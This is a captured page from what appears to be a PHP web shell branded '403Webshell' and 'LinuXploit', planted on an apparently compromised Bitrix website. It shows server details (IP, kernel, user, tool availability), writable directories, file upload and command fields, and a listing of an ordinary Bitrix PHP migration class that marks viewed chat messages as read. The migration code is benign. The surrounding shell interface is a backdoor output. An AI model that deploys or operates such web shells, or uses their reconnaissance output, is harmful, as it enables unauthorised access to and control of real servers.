403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/update/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/update/messageviewedflag.php
<?php

namespace Bitrix\Im\Update;

use Bitrix\Im\Model\EO_Message_Collection;
use Bitrix\Im\Model\MessageTable;
use Bitrix\Im\Model\MessageViewedTable;
use Bitrix\Main\Config\Option;
use Bitrix\Main\Entity\BooleanField;
use Bitrix\Main\Loader;
use Bitrix\Main\ORM\Fields\ExpressionField;
use Bitrix\Main\Update\Stepper;

final class MessageViewedFlag extends Stepper
{
	protected static $moduleId = 'im';
	public const OPTION_NAME_LIMIT = 'message_viewed_flag_migration_limit';
	public const OPTION_NAME_ITERATION_COUNT = 'message_viewed_flag_migration_iteration';
	public const LIMIT_DEFAULT = 200;
	public const ITERATION_COUNT_DEFAULT = 2;

	function execute(array &$option)
	{
		if (!Loader::includeModule(self::$moduleId))
		{
			return self::CONTINUE_EXECUTION;
		}

		$numOfIterations = (int)Option::get(self::$moduleId, self::OPTION_NAME_ITERATION_COUNT, self::ITERATION_COUNT_DEFAULT);

		$result = self::CONTINUE_EXECUTION;
		for ($i = 0; $i < $numOfIterations; ++$i)
		{
			$result = $this->makeMigrationIteration($option);

			if ($result === self::FINISH_EXECUTION)
			{
				return $result;
			}
		}

		if (!$this->hasMoreViewedMessages($option['lastId'] ?? 0))
		{
			return self::FINISH_EXECUTION;
		}

		return $result;
	}

	private function makeMigrationIteration(array &$option): bool
	{
		$lastId = $option['lastId'] ?? 0;
		$messages = $this->getMessages($lastId);

		if ($messages->isEmpty())
		{
			return self::FINISH_EXECUTION;
		}

		$option['lastId'] = min($messages->getIdList());
		$viewedMessageIds = $this->getViewedMessageIds($messages);
		$this->setViewedFlag($viewedMessageIds);

		return self::CONTINUE_EXECUTION;
	}

	private function getViewedMessageIds(EO_Message_Collection $messages): array
	{
		$result = [];

		foreach ($messages as $message)
		{
			if ($message->get('IS_VIEWED'))
			{
				$result[] = $message->getId();
			}
		}

		return $result;
	}

	private function getMessages(int $lastId): EO_Message_Collection
	{
		$subQuery = MessageViewedTable::query()
			->setSelect(['ID'])
			->where('MESSAGE_ID', new \Bitrix\Main\DB\SqlExpression('%s'))
		;
		$expression = new ExpressionField('IS_VIEWED', "EXISTS({$subQuery->getQuery()})", ['ID']);
		$expression->configureValueType(BooleanField::class);
		$query = MessageTable::query()
			->setSelect(['ID', 'IS_VIEWED'])
			->registerRuntimeField('IS_VIEWED', $expression)
			->setOrder(['ID' => 'DESC'])
			->setLimit((int)Option::get(self::$moduleId, self::OPTION_NAME_LIMIT, self::LIMIT_DEFAULT))
		;

		if ($lastId !== 0)
		{
			$query->where('ID', '<', $lastId);
		}

		return $query->fetchCollection();
	}

	private function hasMoreViewedMessages(int $lastId): bool
	{
		if ($lastId === 0)
		{
			return true;
		}

		$result = MessageViewedTable::query()
			->setSelect(['MESSAGE_ID'])
			->setOrder(['MESSAGE_ID' => 'DESC'])
			->where('MESSAGE_ID', '<', $lastId)
			->setLimit(1)
			->fetch()
		;

		return $result !== false;
	}

	private function setViewedFlag(array $messageIds): void
	{
		if (empty($messageIds))
		{
			return;
		}

		MessageTable::updateMulti($messageIds, ['NOTIFY_READ' => 'Y'], true);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit